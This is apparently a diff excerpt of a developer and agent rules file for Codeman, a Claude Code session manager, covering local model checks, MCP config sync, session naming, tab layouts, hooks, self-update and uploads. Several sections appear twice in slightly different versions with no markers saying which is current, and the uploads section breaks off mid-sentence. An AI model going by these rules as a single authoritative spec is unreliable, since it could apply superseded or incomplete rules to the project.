**Local model recommendation** (`GET /api/local-model`, `src/local-model/`, `src/config/local-model-catalog.ts`, `src/types/local-model.ts`; EXPERIMENTAL, read-only stage): the server looks at the Mac it runs on and says which local coding model fits it and with which agent CLI. ⚠️ **Read-only**: it downloads nothing, installs nothing, writes no file and adds no settings key; the install flow is a later stage and nothing here may grow a write before it. Apple silicon macOS only: anywhere else the answer is a `200` with verdict `none` (reasons `not-macos`, `intel`, `memory`, `disk`, `macos`, `no-harness`), and a failed probe is an answer, never a 500. The probe (`hardware.ts`) is ONE bounded async spawn of `/usr/sbin/sysctl` WITHOUT `-n`, parsed as `key: value` lines by the pure `parseSysctl()`, plus `statfs` of the data dir (probed bounded first, #516) and `node:os` fallbacks, cached 60 s; ⚠️ never `system_profiler`, never a second spawn, and `iogpu.wired_limit_mb` of 0 means not set. The catalogue is a compiled constant validated by a Zod schema: ⚠️ no override file and no runtime data, and a model id is `name:tag` in lowercase with no slash (`LOCAL_MODEL_ID_PATTERN`). ⚠️ A harness is a catalogue ROW (`{ cli, minContext, rank, gated?, slowFirstTurn? }`) plus a `HarnessFact` built from the CLI registry at call time (`harness-facts.ts`); no code compares a CLI id (both id-branching guards scan these files). `recommend()` (`recommend.ts`) is pure. ⚠️ `limited` is a statement about the MAC (no model with 12 billion parameters or more fits), judged before the disk filter and whatever the pick is; a small pick under `ok` carries `noteSmallPick`, and a model left out for disk space is named in `noteDiskDropped`, never dropped in silence. ⚠️ The word "Recommended" exists only in `headlineTested` and is sent only when the pick's model has a `tested` entry for exactly this chip, memory size and harness; no row has one today. ⚠️ Speed is `ok`/`slow`/`unknown`, graded on the unrounded figure, and a chip in no chips row is `unknown`: never guess a bandwidth. ⚠️ ONE unit for every computed size a person reads: decimal GB text from `formatGb()` (`format.ts`), sent beside the bytes, and the browser never divides bytes; the one exception is the installed memory, shown as `memClassGb` (the size the Mac is sold as, 48 and not 51.5). ⚠️ Every sentence the server chooses is a `LOCAL_MODEL_LABELS` text with `{placeholder}` slots filled from `vars` (no apostrophe in a text: the zh-CN key is single-quoted), and each needs a zh-CN entry. Admin only in multi-user mode (403 before anything is probed). Tests: `test/local-model-*.test.ts`, `test/routes/local-model-routes.test.ts`. Card rules: `src/web/CLAUDE.md` (Model on this Mac). → `docs/api-reference.md` (Local model recommendation), `docs/versioning-policy.md`
**MCP server sync** (opt-in, `mcpSyncEnabled`, SYNCED, default OFF; `src/mcp-sync.ts`, `GET`/`POST /api/mcp-sync`): copies each installed, enabled CLI's user-level MCP servers into the others. It is the ONE subsystem that writes another CLI's REAL user config (`~/.claude.json`, `~/.codex/config.toml`, `~/.gemini/*`, opencode's), which is why it is opt-in and admin-only in multi-user mode (both verbs 403 for a non-admin, and the Settings group is hidden for them). Where each CLI keeps the file is registry data, `capabilities.mcpConfig` (`{ path, format, relocation? }`), never a branch on the id. ⚠️ Tools that sync but are not run modes (GitHub Copilot CLI, the first) are plain data in `MCP_SYNC_ONLY_TOOLS` (`src/mcp-sync-targets.ts`), take part only when installed or already configured, and their companion `settings.json` (`disabledMcpServers`) is read, never written; a test must clear their relocation vars too. ⚠️ ADDITIVE only: a name already defined, in any shape, is never edited or removed (a different same-name definition is a reported conflict), and a server switched off in its own CLI is never copied. ⚠️ Never write a file that did not parse; re-parse the NEW text and require every added server to read back before the tmp+rename (written through a symlink, previous file kept as `<file>.codeman-bak`, one apply at a time, else 409). ⚠️ A file that receives copied `env`/`headers` (secrets) is left `0600`, and so is the backup. ⚠️ Responses carry server NAMES only, never env values, headers or file text: a parse failure is reported by line and column (`describeMcpSyncError`), never the parser's own message (smol-toml and V8 both quote source). ⚠️ `mcpConfig.relocation` names the env var the CLI reads to move its file (`CLAUDE_CONFIG_DIR`, `CODEX_HOME`, `XDG_CONFIG_HOME`, `GEMINI_CLI_HOME`, and `COPILOT_HOME` for Copilot), resolved from the SERVER env at call time; a relative value reports the target `skipped`, never a guessed write, and a per-session `envOverrides` relocation is not followed. Tests must pass `home` (which drops the `process.env` default) or clear those vars first. → `docs/cli-registry.md` (MCP server sync), `docs/api-reference.md`, `docs/wiki/Settings-Reference.md`
**Auto-named sessions** (`autoNameSessions`, SYNCED, default OFF): a placeholder tab (`w3-myapp`) takes its first real prompt as a title in the `<prefix>: <title>` form, so the case identity and `w<n>` counter survive. Ownership is `SessionState.nameSource` (`placeholder` | `auto` | `manual`; the `name` setter / `PUT /api/sessions/:id/name` makes it `manual`, never touched again). ⚠️ `applyAutoName()` flips to `auto` even if the string is unchanged, so only the FIRST titled prompt names the tab. ⚠️ Only user input counts: `SessionWriteOptions.fromUser` is set by the browser WS path, `POST /api/sessions/:id/input` and the experimental guarded stage (`stageGuardedInput()`, `POST /api/sessions/:id/stage`, typed on an agent's behalf like the input route) ONLY; any new user-input path must set it (and the send-key Shift+Enter path must call `trackUserInput()`). ⚠️ The pure tracker (`session-auto-name.ts`) sits on the raw keystroke stream with an explicit rule per key; add a rule for any new key class. ⚠️ `nameSource` also decides `--name`: by default only a `manual` name is pinned on the claude CLI (`Session.cliPinnedName`), since `--name` is also the `/resume` title and a pinned one stops Claude generating its own; the opt-in synced `pinCliSessionName` (default OFF, re-read at every spawn and respawn) pins every tab name, after which a Codeman rename holds only until the next turn; a rename appends a `custom-title` row to a LOCAL, non-docker transcript, and a same-name PUT is a no-op (never flips to `manual`). Tests: `test/session-auto-name.test.ts`. → [architecture-invariants#auto-named-sessions-first-prompt--tab-title](docs/architecture-invariants.md#auto-named-sessions-first-prompt--tab-title)
**Auto-named sessions** (`autoNameSessions`, SYNCED, default OFF): a placeholder tab (`w3-myapp`) takes its first real prompt as a title in the `<prefix>: <title>` form, so the case identity and `w<n>` counter survive. Ownership is `SessionState.nameSource` (`placeholder` | `auto` | `manual`; the `name` setter / `PUT /api/sessions/:id/name` makes it `manual`, never touched again). ⚠️ `applyAutoName()` flips to `auto` even if the string is unchanged, so only the FIRST titled prompt names the tab. ⚠️ Only user input counts: `SessionWriteOptions.fromUser` is set by the browser WS path, `POST /api/sessions/:id/input`, the experimental guarded stage (`stageGuardedInput()`, `POST /api/sessions/:id/stage`, typed on an agent's behalf like the input route) and a Discord reply (`DiscordBridge.onGatewayMessage`, through the bridge's `sendInput`) ONLY; any new user-input path must set it (and the send-key Shift+Enter path must call `trackUserInput()`). ⚠️ The pure tracker (`session-auto-name.ts`) sits on the raw keystroke stream with an explicit rule per key; add a rule for any new key class. ⚠️ `nameSource` also decides `--name`: by default only a `manual` name is pinned on the claude CLI (`Session.cliPinnedName`), since `--name` is also the `/resume` title and a pinned one stops Claude generating its own; the opt-in synced `pinCliSessionName` (default OFF, re-read at every spawn and respawn) pins every tab name, after which a Codeman rename holds only until the next turn; a rename appends a `custom-title` row to a LOCAL, non-docker transcript, and a same-name PUT is a no-op (never flips to `manual`). Tests: `test/session-auto-name.test.ts`. → [architecture-invariants#auto-named-sessions-first-prompt--tab-title](docs/architecture-invariants.md#auto-named-sessions-first-prompt--tab-title)
**Maintainer bot (external)**: the Telegram bot that reviews open PRs and triages discussion threads in Codeman sessions used to live at `scripts/pr-bot/`. It moved OUT of this repository on 2026-09-14, to `~/codeman-cases/prbot/` (its own private git repo, systemd unit `codeman-pr-bot`, guide + agent rules in its own `README.md` and `CLAUDE.md`). It is a CLIENT of Codeman's HTTP API like any other, so nothing here depends on it and it is not part of the server, the CLI or the npm package. ⚠️ It spawns real sessions named `prbot-<n>` / `dscbot-<n>` on the local Codeman and holds clones under `~/.codeman/pr-bot/`, so those session names and that data dir are taken; it also fetches PR heads into `refs/pr-bot/*` of this checkout and must never check out, reset or clean it. The CHANGELOG entries for 1.25.0 and earlier still describe it, which is history rather than drift.
@@ -197,7 +204,7 @@ Codeman is a Claude Code session manager with web interface and autonomous Ralph
**Owner tab layouts** (`tab-layout*.ts` + `GET`/`PUT /api/tab-layout`): named tab GROUPS over the flat strip, scoped per owner (`@single` when multi-user is off), persisted as `tabLayouts` in state.json. The frontend reads AND edits it (`tab-layout-browser.js` + the grouped-rail block in app.js): the vertical rail draws the owner's groups as collapsible sections (collapse is per-device localStorage), and with no groups or a failed read the rail is the flat list. Groups are created, renamed, reordered and deleted, and rows moved between them, from the row/group menus (Shift+F10 on a header too) and by pointer drag in the grouped rail. A ref may carry `focus: true` ("Add to Focus" in the row/web-tab menu, the named `setFocus` operation): the rail then draws a SHORTCUT to it in a pinned, collapsible Focus section (`_renderTabFocus()`), its own element in `#tabRail` ABOVE `#sessionTabs`, so it shows on the flat rail too and is never a row, tree item, Alt+N slot, lineage anchor or drag target. ⚠️ Every copy of a ref (`copyRef` in tab-layout-browser.js, `parseRef`/`mapRef` in tab-layout.ts) must carry `focus` like `placement`: the browser PUTs whole layouts, so a dropped field is erased on the next save by whoever saves. ⚠️ Grouping is a render layer only: `sessionOrder`, Alt+N and every other order consumer still read the server-projected session order (Alt+[ / Alt+] and Ctrl+Tab included), except the phone swipe, which walks the drawn order like the strip's arrow keys (`nextSession({ visual: true })` through `_stripSessionOrder()`), and a grouped row's markup is the flat row's markup. ⚠️ Only the GROUPED rail is an ARIA tree (`role=tree`, headers owning `role=group`s, one roving `tabindex=0`); the strip, sidebar and flat rail stay `tablist`/`tab`. ⚠️ Every browser write is a named operation through ONE serialized `PUT /api/tab-layout` at a time (`createEditCoordinator`): a 409 replays the operations onto the server's layout and retries (bounded), and an SSE reload is deferred while a write is in flight. Never PUT the layout from anywhere else in the frontend (the `pagehide` keepalive in `_persistPendingTabLayoutEdits` is the one deliberate exception). ⚠️ Placing a NEW session in a group rides its create request (`tabGroupId` on `POST /api/sessions` / `/api/quick-start`) into `TabLayoutService.sessionCreated()`, which registers the session inside the owner lock and places it in the same write; never place a created session with a follow-up PUT. A spawned child lands after its parent; whether it keeps FOLLOWING it until moved by hand is the synced `spawnedTabsFollowParent` setting (default OFF: pinned `manual` in the creating write), read fresh in `sessionCreated()`. A case's **default session group** (Case settings; `caseDefaultGroups` in state.json, per owner and case) is the fallback placement in that same write, below `tabGroupId` and the parent, from the create request's `caseName` (quick-start, Ralph start, or inferred lexically from a `POST /api/sessions` `workingDir`); it is read and written ONLY through `TabLayoutService`. ⚠️ A legacy order PUT marks a child `manual` ONLY when the requested order splits it from its parent's block (`applyLegacySessionRank`), and the browser never echoes create/delete through `PUT /api/session-order`: the server already re-projected and broadcast it. Web-tab OPENNESS stays per device. ⚠️ `TabLayoutService` is the single mutation boundary (one completed server action = at most one versioned write); never write layout state from a route or manager directly. ⚠️ The layout PROJECTS onto `PUT /api/session-order` via `tab-layout-legacy-order.ts`; change both sides together. ⚠️ Reconciliation is gated on a SUCCESSFUL restore (`markRestorationComplete`/`assertDeletionReady()`): a failed restore must leave the layout untouched or live tabs get pruned. → [architecture-invariants#owner-tab-layouts](docs/architecture-invariants.md#owner-tab-layouts)
**Hook events**: Claude Code hooks trigger via `/api/hook-event` (`permission_prompt`, `elicitation_dialog`, `elicitation_complete`, `elicitation_response`, `idle_prompt`, `stop`, `teammate_idle`, `task_completed`, `prompt_submitted`); see `src/hooks-config.ts` and `docs/claude-code-hooks-reference.md`. ⚠️ Every claude session installs the hooks block into its workspace (add-only merge) from every create path and from `restoreMuxSessions()`, gated by `workspaceHooksEnabled` (SYNCED, default ON). ⚠️ Route that decision through `applyWorkspaceHooks`, never call `ensureCodemanHooks` at a new site, or the setting silently stops applying. ⚠️ An AskUserQuestion / plan-selection dialog arrives as `permission_prompt` (RED alert), not `elicitation_dialog` (MCP elicitation). → [architecture-invariants#hook-events-and-workspace-hook-installation](docs/architecture-invariants.md#hook-events-and-workspace-hook-installation)
**Hook events**: Claude Code hooks trigger via `/api/hook-event` (`permission_prompt`, `elicitation_dialog`, `elicitation_complete`, `elicitation_response`, `idle_prompt`, `stop`, `teammate_idle`, `task_completed`, `prompt_submitted`); see `src/hooks-config.ts` and `docs/claude-code-hooks-reference.md`. ⚠️ Every claude session Codeman starts installs the hooks block into its workspace (add-only merge) from every create path and from `restoreMuxSessions()` (an adopted session installs none: it has no workspace of ours), gated by `workspaceHooksEnabled` (SYNCED, default ON). ⚠️ Route that decision through `applyWorkspaceHooks`, never call `ensureCodemanHooks` at a new site, or the setting silently stops applying. ⚠️ An AskUserQuestion / plan-selection dialog arrives as `permission_prompt` (RED alert), not `elicitation_dialog` (MCP elicitation). → [architecture-invariants#hook-events-and-workspace-hook-installation](docs/architecture-invariants.md#hook-events-and-workspace-hook-installation)
**Reboot restore** (`src/reboot-restore.ts` pure + `web/reboot-restore-registry.ts` + `routes/reboot-restore-routes.ts` + `reboot-restore-ui.js`): after a host reboot kills every pane, Codeman holds an IN-MEMORY plan of the destroyed sessions and a banner offers to rebuild them. ⚠️ The heuristic only decides whether to ASK. ⚠️ Rebuild is TAKE-then-build (entries leave the plan before the first `await`, single-flighted per owner). ⚠️ Re-check grant, workspace and already-live at click time, reading already-live FRESH per entry; key confinement on the entry's OWNER, never the caller. ⚠️ Rebuilt sessions come back disarmed: no respawn/Ralph, `rearmAutoResumeSchedule: false`, and pass `nameSource` through. ⚠️ Undo a failed rebuild with `discardPartiallyBuiltSession()`, NEVER `cleanupSession()`. Claude-mode only, never remote/docker. Tests: `test/reboot-restore.test.ts`. → [architecture-invariants#reboot-restore](docs/architecture-invariants.md#reboot-restore)
@@ -215,10 +222,10 @@ Codeman is a Claude Code session manager with web interface and autonomous Ralph
**Full-scrollback replay**: `GET /api/sessions/:id/terminal?full=1` returns the whole tmux scrollback ALONE (`source='mux-full-history'`), superseding the byte buffer. First load of each non-shell TUI session requests it (`_fullHistoryLoaded`); Shell selection, drop recovery, clear and a tile's load use `SHELL_LOAD_QUERY` (constants.js), a bounded window of tmux's RENDERED history (`?full=1&tail=1MiB&alt=recording&lines=10000`), never the raw byte recording, whose full-screen repaints replayed at another pane height push copies of their top row into scrollback; the route reports a client `lines=` bound below the history ceiling that left lines in tmux as `truncationReason: 'tail'`, and `alt=recording` falls back to the visible frame over the tailed byte recording when the pane is in the alternate screen (a nested tmux in a remote or Docker case keeps no tmux history; vim/less take it too while open). A Shell scroll-to-top pulls a bounded `?full=1&tail=` window (a window no longer than the browser's buffer is skipped before the downgrade guard, so it never marks the session exhausted); the unbounded pull stays behind **Load full history**. A Shell split-pane Pane B has its own copy of the bounded pull against its own xterm (`TerminalTile._pullHistory`, terminal-tile.js); keep the two in step. → [architecture-invariants#split-pane-sessions](docs/architecture-invariants.md#split-pane-sessions) ⚠️ The capture ends with a RELATIVE cursor move back to the pane's caret (never `CUP`), so no line-deleting transform may run over it; those skips key on `isFullCapture`, never on `?full=1` alone. ⚠️ A re-pull must never shrink the buffer (`_replayWouldShrinkBuffer()`). ⚠️ `captureCols`/`captureRows` are absent when no frame was positioned: test `Number.isFinite`, never truthiness. ⚠️ A frame dropped at the 128 KiB render cap MUST be recovered, and the recovery verifies itself: `_scheduleDroppedOutputRecovery` re-arms (bounded by `DROP_RECOVERY_MAX_ATTEMPTS`) while `_onSessionNeedsRefresh` reports no repaint, but never after a capture-fetch `'deadline'`. → [architecture-invariants#full-scrollback-replay](docs/architecture-invariants.md#full-scrollback-replay)
**Terminal scrollback strip + wheel/touch forwarding**: codex/claude/gemini get the FULL strip (alt-screen, `3J`, mouse DECSETs); tmux-backed opencode and copilot get the MIDDLE strip (alt-screen toggles + mouse DECSETs, `3J` kept); every other tmux-backed mode (shell/antigravity/pi/grok/deepseek/omp) gets the NARROW strip (alt-screen toggles only). Table: `CliCapabilities.altScreen` JSDoc, pinned in test/claude-scrollback-strip.test.ts. ⚠️ Gated on `useMux`: direct-PTY sessions must keep the alt screen. Wheel and touch forward only with observed `cliMouseTracking`: **Claude ≥ 2.1.187, tracked Codex, or tracked Copilot**. Codex 0.163.0 fullscreen was measured with `alternate_on=1`, `mouse_any_flag=1`: one SGR report moves one transcript row; see the fresh measurement in architecture-invariants. Inline/untracked Codex retains local history or the capability-gated paging fallback. Copilot has no version gate; a stale/false tracking flag falls back to PageUp/PageDown. Touch alone has one more branch (`_shouldForwardTouchToApp`): in any mode, a drag also forwards as SGR wheel reports while xterm ITSELF tracks the mouse with SGR encoding (an app in the pane asked for it; a tracking mode other than `x10` and `coreMouseService.activeEncoding === 'SGR'`, so DEFAULT, X10 and SGR-pixel apps fail closed), because xterm encodes a wheel there but the touch listeners consume the drag. ⚠️ `getClaudeCliVersion()` must never cache a FAILED probe. ⚠️ Hand-report clicks only while the CLI has mouse tracking on: `_shouldReportMouseToCli()` gates all three report sites on `cliMouseTracking` (from `_recordStrippedMouseMode()`, session.ts), or a plain shell prints the reports as literal text. ⚠️ A `TerminalTile` (grid tile, split Pane B) forwards the wheel as SGR reports, pages it and reports clicks through these SAME gates with itself as the target (its terminal, its session, never `activeSessionId`), and scrolls Shift+wheel itself (xterm makes it a horizontal no-op); never copy the mode lists into terminal-tile.js. ⚠️ The hollow-buffer PageUp/PageDown fallback (`_maybePageCliTranscript`) stands down when the last capture reported tmux scrollback (`paneHistoryLines` > 0: a tail replayed after a server restart carries only the attach repaint), so the gesture scrolls locally and the scroll-to-top pull loads `full=1`; 0 and unknown keep paging. Read `_logScrollRouting()` before diagnosing a scroll report. → [architecture-invariants#terminal-scrollback-strip-flavors-and-wheeltouch-forwarding](docs/architecture-invariants.md#terminal-scrollback-strip-flavors-and-wheeltouch-forwarding)
**Terminal scrollback strip + wheel/touch forwarding**: codex/claude/gemini get the FULL strip (alt-screen, `3J`, mouse DECSETs); tmux-backed opencode, copilot and pi get the MIDDLE strip (alt-screen toggles + mouse DECSETs, `3J` kept); every other tmux-backed mode (shell/antigravity/grok/deepseek/omp) gets the NARROW strip (alt-screen toggles only). Table: `CliCapabilities.altScreen` JSDoc, pinned in test/claude-scrollback-strip.test.ts. ⚠️ Gated on `useMux`: direct-PTY sessions must keep the alt screen. Wheel and touch forward only with observed `cliMouseTracking`: **Claude ≥ 2.1.187, tracked Codex, tracked Copilot, or tracked Pi**. Codex 0.163.0 fullscreen was measured with `alternate_on=1`, `mouse_any_flag=1`: one SGR report moves one transcript row; see the fresh measurement in architecture-invariants. Inline/untracked Codex retains local history or the capability-gated paging fallback. Copilot has no version gate; a stale/false tracking flag falls back to PageUp/PageDown. Pi has no version gate either, and is fullscreen by default since 1.0.0: it enables tracking once at start, so the flag is what survives a tab switch or reload (xterm's own mode does not). ⚠️ Pi deliberately has no `transcriptPageKeys`: its `tuiMode: regular` binds those keys to the editor, so paging there moves a draft's caret. Touch alone has one more branch (`_shouldForwardTouchToApp`): in any mode, a drag also forwards as SGR wheel reports while xterm ITSELF tracks the mouse with SGR encoding (an app in the pane asked for it; a tracking mode other than `x10` and `coreMouseService.activeEncoding === 'SGR'`, so DEFAULT, X10 and SGR-pixel apps fail closed), because xterm encodes a wheel there but the touch listeners consume the drag. ⚠️ `getClaudeCliVersion()` must never cache a FAILED probe. ⚠️ Hand-report clicks only while the CLI has mouse tracking on: `_shouldReportMouseToCli()` gates all three report sites on `cliMouseTracking` (from `_recordStrippedMouseMode()`, session.ts), or a plain shell prints the reports as literal text. ⚠️ A `TerminalTile` (grid tile, split Pane B) forwards the wheel as SGR reports, pages it and reports clicks through these SAME gates with itself as the target (its terminal, its session, never `activeSessionId`), and scrolls Shift+wheel itself (xterm makes it a horizontal no-op); never copy the mode lists into terminal-tile.js. ⚠️ The hollow-buffer PageUp/PageDown fallback (`_maybePageCliTranscript`) stands down when the last capture reported tmux scrollback (`paneHistoryLines` > 0: a tail replayed after a server restart carries only the attach repaint), so the gesture scrolls locally and the scroll-to-top pull loads `full=1`; 0 and unknown keep paging. Read `_logScrollRouting()` before diagnosing a scroll report. → [architecture-invariants#terminal-scrollback-strip-flavors-and-wheeltouch-forwarding](docs/architecture-invariants.md#terminal-scrollback-strip-flavors-and-wheeltouch-forwarding)
**Detached start + service install**: `codeman web -d` relaunches the same entry script `detached:true` (setsid); `nohup` is not what makes it survive. ⚠️ Both `-d` and `service install` must REFUSE when a server is already up on this data dir (pidfile + `/api/status` probe), or a second instance attaches to the first one's live sessions. ⚠️ Never report success not observed: poll `/api/status` until the child answers or dies. `--stop` must verify the pid still looks like Codeman (`ps -o command=`) before signalling. Unit/label names live only in `config/service-names.ts`. `service install` bakes the installing shell's PATH into the unit and never writes `CODEMAN_PASSWORD` into it. → [architecture-invariants#detached-start-and-service-install](docs/architecture-invariants.md#detached-start-and-service-install)
**Self-update** (App Settings → System → Updates): in-app updater for git-clone installs under a supervisor (`systemd`, `launchd`, `launchd-daemon`, `docker-compose`, else `none`). The work runs in a DETACHED `scripts/self-update.sh` writing `update-status.json`, polled across the restart; pure helpers in `src/web/self-update.ts`. ⚠️ Compose: the restart kills the script, so nothing may be appended after the `restarting` marker; the repo must stay a host bind mount over `/opt/codeman` and the image must keep devDependencies + toolchain. ⚠️ `evaluateEnvironmentGate()` refuses releases that change `server.Dockerfile`/`docker-compose.yaml` or add `.env.example` keys, re-evaluated on `POST /api/system/update`; unknowns fail OPEN, but the exit-to-restart needs `--restart-by-exit 1` (`CODEMAN_RESTART_BY_EXIT=1` only in the Compose file). ⚠️ Keep the agent CLIs in `server.Dockerfile` pinned. → [docs/docker-self-update.md](docs/docker-self-update.md), [architecture-invariants#self-update](docs/architecture-invariants.md#self-update)
**Self-update** (App Settings → System → Updates): in-app updater for git-clone installs under a supervisor (`systemd`, `launchd`, `launchd-daemon`, `docker-compose`, else `none`). The work runs in a DETACHED `scripts/self-update.sh` writing `update-status.json`, polled across the restart; pure helpers in `src/web/self-update.ts`. ⚠️ Compose: the restart kills the script, so nothing may be appended after the `restarting` marker; the repo must stay a host bind mount over `/opt/codeman` and the image must keep devDependencies + toolchain. ⚠️ `evaluateEnvironmentGate()` refuses releases that change `server.Dockerfile`/`docker-compose.yaml` or add `.env.example` keys, re-evaluated on `POST /api/system/update`; unknowns fail OPEN, but the exit-to-restart needs `--restart-by-exit 1` (`CODEMAN_RESTART_BY_EXIT=1` only in the Compose file). ⚠️ An install with no git checkout (`install.sh` on a machine without a working git leaves the marker `.install-source`) is kind `archive`: it cannot update in place, and both the check and the UI tell it to re-run the installer, never the npm line. ⚠️ Keep the agent CLIs in `server.Dockerfile` pinned. → [docs/docker-self-update.md](docs/docker-self-update.md), [architecture-invariants#self-update](docs/architecture-invariants.md#self-update)
**Reverse-proxy base path** (`--base-url` / `CODEMAN_BASE_URL`, default `/`; pure single source `src/config/base-path.ts`, normalized to `''` or `/foo`): mounts Codeman under a sub-path behind a proxy that forwards the prefix unchanged. Few choke points: `stripBasePath()` in Fastify's `rewriteUrl` (routes stay prefix-agnostic; unprefixed requests still answer), one `onSend` hook rebasing `Location`, `renderIndexHtml` rewriting `<base href>` + injecting `window.__CODEMAN_BASE__`, and `CodemanBase.url()` (constants.js) for runtime URLs. ⚠️ Keep template asset refs RELATIVE, and route every root-absolute frontend URL (EventSource/WebSocket/`window.open`/src) through `CodemanBase.url()`. ⚠️ Web-tab proxy egress goes through `proxyPrefixFor(cap, basePath)`; ingress parsers stay base-agnostic. ⚠️ `--base-url` must ride `buildWebArgs` and `resolveServicePlan`. Tests: `test/base-path.test.ts`. → [architecture-invariants#reverse-proxy-base-path](docs/architecture-invariants.md#reverse-proxy-base-path)
@@ -226,25 +233,29 @@ Codeman is a Claude Code session manager with web interface and autonomous Ralph
**Prompt uploads** (`POST /api/sessions/:id/paste-image`: clipboard paste, drop, the Compose Attach key and the phone toolbar's Attach button; client wiring in `image-input.js` and `keyboard-accessory.js`): a pick is written to `<workspace>/.codeman-uploads/` and its path lands on the prompt as unsent text. The folder is IN the workspace because that is the only path identical for a local and a container agent, FLAT because `<workspace>/.codeman/` would BE the data dir when the workspace is the home directory, and self-ignoring through a `.gitignore` of `*` written ONCE with `wx` (a file already there is the user's and is never overwritten; the user's own ignore file is never touched). ⚠️ The directory names live ONLY in `paste-image-gc.ts` (`UPLOAD_DIR_NAMES`): the pre-move `.claude-images/` receives nothing but stays readable for one release, so the GC sweep and the delete cleanup (through `uploadDirs()`) and the image watcher's ignore filter (reading the names) cover BOTH; retire the legacy entry there, never by hand elsewhere. ⚠️ `uploadDirs()` is async and probes the workspace BOUNDED first (`probePathKind()`, the #516 rule: an `unknown` path is skipped, never touched; the sweep keeps the stall cap and the delete passes `pastCap`), then returns only REAL directories (lstat, so a planted symlink is never one), none that is or contains `getDataDir()` (one strictly inside it only holds uploads and is listed), and none for a remote session, since both consumers delete; the check is made at list time, and the same-user race after it is accepted. Images are buffered in memory under `MAX_PASTE_IMAGE_BYTES` (50MB) after a client-side canvas re-encode; a DOCUMENT (pdf, docx, pptx, xlsx, zip and the text family txt/md/csv/tsv/json/log/yaml/yml/xml; the curated `ALLOWED_DOCUMENT_EXTS`, never `SUPPORTED_ATTACHMENT_EXTENSIONS` or `EDITABLE_EXTENSIONS`, which carry sh/py/js/html) is admitted by its name's extension alone, buffered like an image, judged on its bytes by the same fail-closed `imageMagicMatchesExt` (`%PDF-`, `PK\x03\x04` for the OOXML trio and zip, UTF-8 without a NUL byte for text: a SIGNATURE or ENCODING check, never a structure or content check, so generic zip bytes pass as `.docx` and a script renamed `.txt` is text; the sh/py/js/html exclusion is a SCOPE choice by extension, keeping the server from storing what it would serve or run, not a content filter: the agent can already write any of those) and saved as `paste-<ts>-<hex>-<stem><ext>` with a sanitized stem (`[A-Za-z0-9._-]`, 40 chars, a wholly non-ASCII name leaves no stem; the `paste-` prefix is what the GC matches). A VIDEO is never buffered: `?kind=video` streams it to disk under `MAX_PASTE_VIDEO_BYTES` (1GB, env `CODEMAN_MAX_PASTE_VIDEO_BYTES`), judges the container on the first 12 bytes as they arrive (ISO BMFF / QuickTime atom, EBML for webm, Ogg for ogv; a mislabeled body is drained unwritten from there, never parked on disk first) and unlinks on any failure, a dead transfer included. ⚠️ The flag is the ONLY way onto that path and admits video types alone (the registry's `VIDEO_ATTACHMENT_EXTENSIONS`, single-sourced: mp4/webm/mov/m4v/ogv, so an uploaded video is one the file viewer can also play; 3gp/mkv are out, since a phone's camera roll produces neither and neither previews), so an image can never ride the larger cap through memory; without it the route is byte-identical to the image-only version. Busboy takes its size limit before the part is seen, which is why the choice rides the URL and not the file. ⚠️ A video draws on its OWN per-(IP, session) rate bucket (`consumeVideoToken`, 3/min) beside the image bucket (`consumePasteToken`, 30/min): at 1GB each, 30/min would be 30GB of disk a minute, so the lower rate bounds it to 3GB; the image path keeps the 30/min bucket and is unchanged without the flag. A remote (SSH) session is refused (400) before any disk touch: its `workingDir` is the remote path, so the file would land on THIS host where the agent cannot read it (Docker is fine, the workspace is bind-mounted at the same absolute path). ⚠️ A live session's workspace can still sit on a network mount that stopped answering, so the route probes it BOUNDED (`probePathKind(session.workingDir, { pastCap: true })`, the #516 rule) before the first disk touch and refuses an `unknown` mount through `describeUnknownPath()` (OPERATION_FAILED), the way session create does, so a mount already unreachable cannot freeze a libuv worker on every upload (a mount that dies after the probe is the same residual race create accepts). ⚠️ Dispatch mirrors the client: an `image/*` MIME takes the IMAGE path whatever the name says (a GIF named `animation.txt` stays a GIF), a document extension takes the document branch, and anything else takes the image path exactly as before, where the HEIC sniff still recovers a HEIC under a generic name; a foreign extension with no image MIME gets its `Unsupported file type` 400 only AFTER that sLine truncated
**File-path links (terminal + chat)**: a path an agent prints is clickable on BOTH surfaces and opens the file-preview overlay. ⚠️ ONE pattern (`FILE_PATH_LINK_PATTERN` / `absoluteFilePathPattern()` in constants.js) feeds the xterm link provider AND `_linkifyFilePaths()`, a fresh instance per call (`lastIndex`). Both call `findFilePathLinks()`, which reserves spaced-path spans first (an unlinkable one only while its last word holds a `/`; any label, before an absolute or relative path, must be an explicit path label, prose after that label stays out, and an earlier connective or verb such as `and` or `has` (`SPACED_PATH_PROSE_WORD`) makes any candidate prose; rules and trade-offs in the architecture-invariants paragraph linked below), then adds rooted, `~/`, relative and folder paths without overlapping a reservation, earlier match or URL; a relative path resolves against `workingDir` (`resolveLinkedFilePath`), `~/` only server-side on the session's host (attachment route), and `terminalPathLine()` joins a path a program hard-wrapped short of the edge. ⚠️ A folder link opens the **folder grid**: `POST /api/sessions/:id/folders` guards + GRANTS the folder (`folder-listing.ts`, own registry, never the 200-capped attachment registry), files come by bare name via `…/folders/:folderId/files/:name/*` through `resolveServableAttachmentPath` plus the same extension/regular-file gate on the symlink's resolved target, so no browser request carries a path; `~/` is refused in a Docker case (the container's home is not this host's). The chat linkifier walks TEXT NODES with DOM APIs, never rebuilds sanitized markup as a string. ⚠️ An out-of-workspace path goes through the ATTACHMENT routes (`POST /api/sessions/:id/attachments` with `notify: false`), never by widening `file-content`/`file-raw` or `file-stream-manager`'s `tail -f` allowlist. ⚠️ `TEXT_ATTACHMENT_EXTENSIONS` IS `EDITABLE_EXTENSIONS` (never a second list), and widening READ must never widen RUN: `html`/`htm`/`svg` stay download-only, other text is inert `text/plain`+`nosniff`. ⚠️ The ONE place HTML renders is `/html-view/<cap>/...` (`html-view-routes.ts`, `html-view-capabilities.ts`): `POST /api/sessions/:id/html-view` mints a capability for the file's own directory, every response carries `Content-Security-Policy: sandbox` WITHOUT `allow-same-origin` (opaque origin even as a top-level tab, so the page can never read Codeman or drive its API) and with NO fetch directive (open network, owner decision 2026-10-13: never restrict it or add `allow-same-origin` without the owner), and only non-dot, asset-allowlisted files under that directory are served (GET/HEAD only; capabilities revoked with the web-tab ones on logout). That tree is served recursively, so minting is refused for a hidden directory or a broad root (`isBroadHtmlViewRoot`); the preview renders by default and the **Page** pill (or a refused mint) falls through to the source view and its Edit button. Never serve HTML same-origin anywhere else. Tests: `test/routes/html-view-routes.test.ts`. Media extensions are single-sourced in `attachment-registry.ts`. ⚠️ **XLSX previews parse in the BROWSER**, never on the server; the admission limits that keep a hostile workbook from freezing the worker live in `src/web/CLAUDE.md` (Spreadsheet preview). → 